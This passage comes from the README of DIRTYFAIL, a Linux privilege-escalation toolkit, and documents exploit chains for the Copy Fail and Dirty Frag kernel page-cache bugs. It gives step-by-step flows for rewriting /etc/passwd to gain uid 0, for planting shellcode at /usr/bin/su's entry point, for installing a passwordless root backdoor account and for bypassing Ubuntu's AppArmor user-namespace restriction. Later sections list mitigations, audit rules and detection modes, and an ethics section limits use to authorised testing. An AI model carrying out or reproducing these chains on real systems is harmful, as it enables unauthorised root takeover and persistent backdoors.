0)` succeeds Active probe (`--active`): forks via AA bypass, registers an rxrpc session key with an arbitrary 8-byte value, sends one CHALLENGE + DATA forgery against a `/tmp` sentinel, looks for ANY byte change inside the spliced 8-byte window. We don't try to predict what landed — any modification confirms the kernel STORE fires. ### Copy Fail GCM variant + ESP v6 — same shape The GCM variant active probe installs a transport-mode SA with an arbitrary IV and fires `gcm_trigger` against a `/tmp` sentinel; ANY byte change at sentinel[0] confirms reachability. The ESP v6 probe also auto-calibrates `V6_STORE_SHIFT` per kernel build (see `calibrate_v6_shift` in `src/dirtyfrag_esp6.c`) — different distros' `esp6_input` builds put the STORE at slightly different offsets inside the spliced region, and the calibration probe discovers the exact offset before the real exploit fires. --- ## 8. How DIRTYFAIL exploits each CVE ### Copy Fail exploit (`copyfail.c`) Single 4-byte STORE through `algif_aead`: ``` [/etc/passwd page cache] user ──sendmsg(AAD = SPI||"0000")──▶ AF_ALG op ──splice(passwd_fd, 32B)──────▶ AF_ALG op (in-place dst SGL) ──recv()─────────────────────▶ kernel runs authencesn_decrypt scratch write: "0000" → uid_off EBADMSG returned to user (we ignore) user ──open(passwd, RDONLY)─read──▶ "kara:x:0000:1000:..." ◄─ page cache user ──execlp("su", "kara")──────▶ PAM ✓ on /etc/shadow → setuid(0) ─────► root shell ``` ### Dirty Frag xfrm-ESP exploit (`dirtyfrag_esp.c`) Same end-state as Copy Fail, reached through `xfrm_input` instead of `algif_aead`: ``` [/etc/passwd page cache] unshare(USER|NET); setup uid_map; ifup lo NETLINK_XFRM ─NEWSA(seq_hi="0000", encap=ESPINUDP/4500)─▶ kernel udp_recv bind 127.0.0.1:4500, UDP_ENCAP_ESPINUDP udp_send connect 127.0.0.1:4500 vmsplice ESP wire header (24B) ─▶ pipe splice /etc/passwd@uid_off (16B) ─▶ pipe splice pipe (40B) ─▶ udp_send udp loopback ─▶ udp_recv (UDP_ENCAP) ─▶ xfrm_input ─▶ esp_input skb has frags, no frag_list ─▶ goto skip_cow (THE BUG) crypto_authenc_esn_decrypt: scratch_write(seq_hi="0000" → page_addr+uid_off) ◄─ 4-byte STORE AEAD auth fails (EBADMSG) — but the STORE is permanent page-cache copy of /etc/passwd now reports uid 0 for the user ``` Then exit the namespace, `execlp("su", user)` from the parent — same final step as Copy Fail. ### Dirty Frag RxRPC exploit (`dirtyfrag_rxrpc.c` + `fcrypt.c`) ``` [/etc/passwd page cache] user-space brute force of K_A, K_B, K_C such that fcrypt_decrypt(C, K) produces predicate-satisfying plaintexts for offsets 4, 6, 8 (chained-ciphertext correction across passes) fork → child enters new userns: unshare(USER|NET); setup uid_map; ifup lo socket(AF_RXRPC) — autoload rxrpc.ko for each (off, K) in [(4,K_A), (6,K_B), (8,K_C)]: add_key("rxrpc", "df-evil", v1_token{session_key=K}) udp_srv = bind 127.0.0.1:port_S rxsk = AF_RXRPC + SECURITY_KEY=df-evil + bind :port_C rxsk → sendmsg(PINGPING) triggers handshake init udp_srv ← receives kernel's first DATA-0 extract (epoch, cid, callNumber) udp_srv → forged CHALLENGE → rxsk auto-RESPONSE primes conn->rxkad.cipher with K csum_iv = AF_ALG pcbc(fcrypt)(epoch||cid||0||sec_ix, IV=K) cksum_h = AF_ALG pcbc(fcrypt)(call_id||x, IV=csum_iv)[1] >> 16 vmsplice DATA hdr (28B) → pipe splice /etc/passwd@off (8B) → pipe splice pipe (36B) → udp_srv udp loopback → rxsk recvmsg → rxrpc_input → rxkad_verify_packet skb has frags, no frag_list → goto skip_unshare (THE BUG) skcipher_request_set_crypt(req, sg=page+off, sg=page+off, 8, iv=0) crypto_skcipher_decrypt: pcbc(fcrypt) page[off..off+8] = fcrypt_decrypt(C_actual, K) ◄─ 8-byte STORE child exits, parent verifies /etc/passwd[4..5] == "::" parent: execlp("su", "-") PAM common-auth: pam_unix.so nullok → root has empty password su → setresuid(0,0,0) → exec /bin/bash ─────► root shell ``` ### `--exploit-su` shellcode injection (`exploit_su.c`) A second `/etc/passwd`-free attack chain modeled on V4bel's reference exploit. Instead of editing `/etc/passwd`'s page cache, we plant arch-specific shellcode at `/usr/bin/su`'s ELF entry point in its page cache; the next time anyone exec's `/usr/bin/su`, the kernel sets euid=0 from the on-disk setuid bit, the dynamic linker resolves, and control transfers to our shellcode → `/bin/sh` as real init-ns root. No PAM dependency, bypasses `pam_unix nullok` removal entirely. ``` parent (init ns) │ stat /usr/bin/su; verify setuid+root │ parse ELF header; resolve e_entry → file offset │ pread() N bytes at file_offset → /var/tmp/.dirtyfail-su.state │ for each 4-byte chunk of shellcode: │ cf_4byte_write("/usr/bin/su", file_offset+i, chunk) │ pread() back; verify match │ if --no-shell: │ plant_shellcode(original) # revert via re-write │ fadvise(DONTNEED) on a new fd # evict if possible │ else: │ execl("/usr/bin/su", "su", NULL) ─► │ kernel exec /usr/bin/su (setuid root) │ ld-linux.so resolves │ jumps to e_entry → our shellcode │ setuid(0); setgid(0); │ execve("/bin/sh", argv, NULL) ▼ ────► root shell ``` Architecture matrix: * **x86_64 (56 bytes, 14 chained 4-byte writes)** — tested end-to-end on Fedora 44 (`uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t`). Shellcode in `shellcode_x86_64[]`. * **aarch64 (80 bytes, 20 instructions)** — hand-encoded from the ARMv8-A reference, **never executed on hardware**. Gated behind `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. Source ships in `tools/exploit_su_aarch64.S` for community verification — assemble with `aarch64-linux-gnu-as` and confirm the byte sequence matches `shellcode_aarch64[]`. * anything else → preconds_fail. The state file `/var/tmp/.dirtyfail-su.state` stashes the original entry-point bytes so `--cleanup-su` can restore. `--list-state` inspects this file (and the backdoor's) without touching anything. If the verify step finds the page cache doesn't match the planted shellcode (kernel patched, AF_ALG blacklisted, etc.), the auto-revert fires immediately and the state file is removed — no need for the operator to run cleanup-su afterward. --- ## 8.5 Architecture: outer/inner fork-based bypass All five exploit modes share a common architecture for handling Ubuntu's `apparmor_restrict_unprivileged_userns=1` policy without trapping the post-exploit `su` inside a userns where it can't reach real init-ns root. ### The problem A naive bypass puts the *whole* `dirtyfail` process inside a fresh user namespace via `unshare(CLONE_NEWUSER)`. That's enough to register XFRM SAs and fire splice triggers — but it also means the eventual `execlp("su", user)` runs inside the userns, where uid 0 is mapped via `uid_map "0 1000 1"` to the operator's outer uid (1000). PAM's `setresuid(0)` then lands at userns-uid-0-mapped-to-1000, which is **not** real init-ns root — `cat /etc/shadow` returns EACCES, the shell can't actually do privileged operations. ### The fix: outer/inner split ``` parent (dirtyfail, init ns) child (bypass userns) ───────────────────────── ───────────────────── prompts (DIRTYFAIL / YES_BREAK_SSH) resolve target (uid_off, K_A/K_B/K_C, ...) setenv DIRTYFAIL_INNER_MODE=... setenv DIRTYFAIL_TARGET_USER=... fork ─────────────────────────────────────► change_onexec("crun") execv self ─► STAGE-1 execv self ─► STAGE-2 unshare(USER|NET) uid_map / capset ifup lo main() detects INNER_MODE dispatch _inner() register XFRM SA splice trigger → page cache STORE _exit(DF_EXPLOIT_OK) waitpid ◄───────────────────────────────── (child reaped) read /etc/passwd (page cache is global) verify modification visible if do_shell: execlp("su", user) ← runs IN INIT NS PAM auth → setresuid(0) → REAL init-ns root shell else: try_revert_passwd_page_cache ``` The parent **never enters a user namespace**. The child does the bypass + kernel work, modifies the global page cache (which is shared across namespaces — the only "bridge" we need), and exits. The parent's `su` is then a normal init-namespace setresuid call. ### Parent → child handoff via env vars `execv` preserves the environment, so the parent stashes the operation parameters in env vars before forking. Each mode defines its own: | Mode | Env vars | |---|---| | `esp` / `esp6` / `gcm` | `DIRTYFAIL_INNER_MODE`, `DIRTYFAIL_TARGET_USER` | | `rxrpc` | `DIRTYFAIL_INNER_MODE=rxrpc`, `DIRTYFAIL_K_{A,B,C}` (hex) — fcrypt brute force happens in the parent (no caps needed); the keys are passed to the child for the actual triggers | | `backdoor-install` / `backdoor-cleanup` | `DIRTYFAIL_INNER_MODE`, `DIRTYFAIL_LINE_OFF`, `VICTIM_LINE`, `TARGET_LINE` | After stage 2 of the bypass completes, `main()` checks `DIRTYFAIL_INNER_MODE` and dispatches to `_exploit_inner()`. The inner does *only* the kernel work (no prompts, no fork, no `su`) and exits with the result code. The parent reaps it via `waitpid` and proceeds with verification. ### Why the single-hop bypass The earlier two-hop dance (`change_onexec("crun")` → `change_onexec("chrome")`) caused intermittent `ENOSPC` failures on Ubuntu 24.04 in our exec chain (likely a per-profile userns-accounting wrinkle). The single hop into `crun` is sufficient — `crun`'s AppArmor profile has `flags=(unconfined)` and explicit `userns,` permission, so unshare succeeds and stays succeeded. ### Why no infinite re-exec loop After stage 2 completes successfully, a process-local `g_bypass_done` flag is set. If `apparmor_bypass_needed()` is called again in the same process, it short-circuits to `false`, preventing the post-exploit code from re-arming and nesting another userns layer (which previously hit the per-userns nesting cap as `ENOSPC`). ### `--aa-bypass` is now a debug-only flag In the old architecture, `--aa-bypass` armed a whole-process bypass before the exploit dispatch. In the new architecture, exploit modes do their *own* fork-based bypass internally; the flag is no longer needed for normal use. It's retained for debugging the bypass mechanics in isolation (e.g. running `--scan` inside a bypass userns), with a warning that it may break post-exploit `su`. --- ## 9. Mitigations ### Copy Fail (CVE-2026-31431) 1. **Apply the patch.** Mainline `a664bf3d`; backports landed on the 6.12 / 6.17 / 6.18 stable lines. 2. **Interim**: blacklist `algif_aead`: ```sh echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/copyfail.conf sudo rmmod algif_aead 2>/dev/null ``` ⚠ Note: this **does not** mitigate Dirty Frag. The xfrm-ESP path reaches the same authencesn primitive without going through algif_aead. ### Dirty Frag xfrm-ESP (CVE-2026-43284) 1. **Apply the patch.** Mainline `f4c50a4034e6` (merged 2026-05-07). Distro backports rolling out as of 2026-05-08. 2. **Interim**: blacklist `esp4` and `esp6`: ```sh sudo tee /etc/modprobe.d/dirtyfrag-esp.conf <<'EOF' install esp4 /bin/false install esp6 /bin/false EOF sudo rmmod esp4 esp6 2>/dev/null sudo sysctl vm.drop_caches=3 ``` ⚠ This breaks IPsec / strongSwan / libreswan VPNs. 3. **Defense in depth**: disallow unprivileged user namespaces. Ubuntu does this by default via AppArmor; on other distros: ```sh sudo sysctl -w kernel.unprivileged_userns_clone=0 ``` ### Dirty Frag RxRPC (CVE-2026-43500) 1. **No upstream patch yet.** Researcher patch on lkml; not merged at time of writing (2026-05-08). 2. **Interim**: blacklist `rxrpc`: ```sh sudo tee /etc/modprobe.d/dirtyfrag-rxrpc.conf <<'EOF' install rxrpc /bin/false EOF sudo rmmod rxrpc 2>/dev/null sudo sysctl vm.drop_caches=3 ``` ⚠ This breaks AFS distributed file system clients. Most servers don't need rxrpc. ### Combined one-liner (all three) ```sh sudo sh -c ' cat > /etc/modprobe.d/dirtyfail.conf </dev/null sysctl vm.drop_caches=3 ' ``` ### Or use `dirtyfail --mitigate` The same set of mitigations is wrapped in a typed-confirmation gated defensive mode: ```sh sudo ./dirtyfail --mitigate ``` This drops in `/etc/modprobe.d/dirtyfail-mitigations.conf` and `/etc/sysctl.d/99-dirtyfail-mitigations.conf`, unloads the four modules, and `drop_caches`. Reverts via `sudo ./dirtyfail --cleanup-mitigate`. Side-effects: breaks IPsec, AFS clients, and any userspace using `AF_ALG` AEAD. See `docs/DEFENDERS.md` for the full sysadmin playbook. ### Detection / monitoring For ongoing detection independent of patching: * **Scan a host:** `dirtyfail --scan --active` (full sentinel-STORE probe) or `dirtyfail --scan --active --json` for SIEM/fleet ingestion. The `tools/dirtyfail-check.sh` bash variant has zero build dependencies. * **Audit rules:** `tools/99-dirtyfail.rules` is a drop-in auditd ruleset covering the five syscall paths the exploit chain uses (XFRM netlink registration, `add_key("rxrpc")`, `unshare(CLONE_NEWUSER)`, `AF_ALG` socket creation, `/etc/passwd`/`/etc/shadow` writes). Install with: ```sh sudo install -m 0640 tools/99-dirtyfail.rules /etc/audit/rules.d/ sudo augenrules --load && sudo systemctl restart auditd ``` * **Container blast-radius demo:** `tools/dirtyfail-container-escape.sh` shows that the kernel page cache is shared across namespaces — useful for explaining the cross-tenant impact to operators. --- ## 10. Ethics & disclosure DIRTYFAIL is a research tool. The vulnerabilities it covers are **already publicly disclosed** with weaponized PoCs in the wild (see [Credits](#11-credits)) — DIRTYFAIL adds detection coverage, unified documentation, and a gentler PoC variant (UID-flip vs ELF overwrite of `/usr/bin/su`). * **Do not run `--exploit-*` modes on systems you do not own or are not explicitly authorized to test.** Page-cache modifications are reversible with `drop_caches`, but they are still privilege escalation while they persist. * **Do not deploy DIRTYFAIL as a "scanner" against third-party infrastructure** without written authorization. The detection mode is non-modifying for system files but does open a sentinel file in `/tmp` and exercise the kernel crypto API. * If you find a vulnerable system in the wild, follow responsible disclosure to the operator, not the public. --- ## Bonus: notes on the GCM variant + backdoor + AppArmor bypass These three features extend DIRTYFAIL with techniques first published by **0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo**. Reimplemented in DIRTYFAIL style; original credit lives in `NOTICE.md`. ### Copy Fail GCM variant Same xfrm-ESP no-COW path as CVE-2026-43284, but using `rfc4106(gcm(aes))` instead of `authencesn(...)`. Two reasons it's worth shipping alongside the authencesn variant: 1. **Coverage.** A defender who blacklisted `algif_aead` to mitigate Copy Fail (CVE-2026-31431) is still vulnerable here — the GCM path doesn't go through algif_aead. 2. **Granularity.** AES-GCM in counter mode XORs keystream onto the spliced byte. By brute-forcing the IV (~256 trials per byte) we land an arbitrary single byte at any file offset — no 4-byte alignment, no 4-byte side-effects. The 1-byte primitive (`cfg_1byte_write`) is what makes the persistent backdoor mode feasible. ### Persistent backdoor `--exploit-backdoor` picks the longest `/etc/passwd` line whose shell is in `{nologin, false, sync}` and overwrites it byte-by-byte with `dirtyfail::0:0::/:/bin/bash` (length-matched). After installation, `su - dirtyfail` from any user drops a root shell — no password prompt — because `pam_unix.so nullok` accepts the empty password field. The username `dirtyfail` is intentionally branded to this project so it's *easy to detect* in any subsequent audit — defenders running `grep dirtyfail /etc/passwd` (or any HIDS doing the same) will spot the line immediately. If you need a different identifier for a specific red-team engagement, change `NEW_USER` and `DF_PREFIX` in `src/backdoor.c`. The on-disk file is unchanged; the substitution lives in the page cache only. `--cleanup-backdoor` restores the original line via the same primitive. ### AppArmor bypass Ubuntu 24.04+ ships `apparmor_restrict_unprivileged_userns=1`. The default profile applied to unprivileged binaries lets `unshare(USER)` succeed but **strips CAP_NET_ADMIN** in the new namespace. XFRM SA registration then fails silently. The bypass: write `"exec crun"` to `/proc/self/attr/exec` and `execv` to switch into AppArmor's `crun` profile, which has `flags=(unconfined)` and explicit `userns,` permission. After the exec, `unshare(CLONE_NEWUSER | CLONE_NEWNET)` succeeds with full caps inside the new namespace. DIRTYFAIL handles this *per-exploit-mode* via a fork: parent stays in init namespace, child does the bypass + kernel work, parent reads global page cache and runs `su` for real init-ns root. See [§8.5 Architecture](#85-architecture-outerinner-fork-based-bypass) for the full chain. The legacy `--aa-bypass` flag (which armed the bypass for the whole process) is retained for debugging only. The original technique is from `aa-rootns.c` by 0xdeadbeefnetwork (credited there to Brad Spengler / grsecurity). DIRTYFAIL's implementation: - Detects the restriction via the `kernel.apparmor_restrict_unprivileged_userns` sysctl rather than by reading `/proc/self/attr/current` (which still shows "unconfined" on Ubuntu 24.04 even when the policy is restricting). - Uses a single hop into `crun` rather than the two-hop `crun → chrome` dance — the second hop caused intermittent `ENOSPC` on Ubuntu 24.04. - Sets a process-local `g_bypass_done` flag after stage 2 so re-checks short-circuit (preventing infinite re-exec loops that previously exhausted the per-userns nesting cap). --- ## 11. Credits DIRTYFAIL is original code, but the techniques it implements were developed by the researchers below. Read their primary sources before deploying this tool — they are the canonical references. | Source | Researcher | Contribution | |--------|------------|--------------| | | Anonymous | Original Copy Fail disclosure | | | Smarttfoxx | C PoC (shellcode-in-`su` variant) | | | rootsecdev | Python detector + UID-flip PoC; the ergonomics of DIRTYFAIL's `--exploit-copyfail` mode follow this approach. | | | Hyunwoo Kim ([@v4bel](https://x.com/v4bel)) | Dirty Frag discovery, full chain PoC, kernel patches | | | 0xdeadbeefnetwork | GCM-variant exploit, IPv6 PoC, AppArmor userns bypass technique | | | BleepingComputer | Public reporting | Patch authors: * `f4c50a4034e6` (Dirty Frag xfrm-ESP) — based on Hyunwoo Kim's v1 patch, with the merged shared-frag approach by Kuan-Ting Chen. * RxRPC patch — Hyunwoo Kim, pending merge. --- ## License MIT. See [LICENSE](LICENSE). --- ## Contact Open an issue on this repository, or reach out at the address listed in the commit history. For coordinated disclosure of related issues, contact the upstream researchers above directly.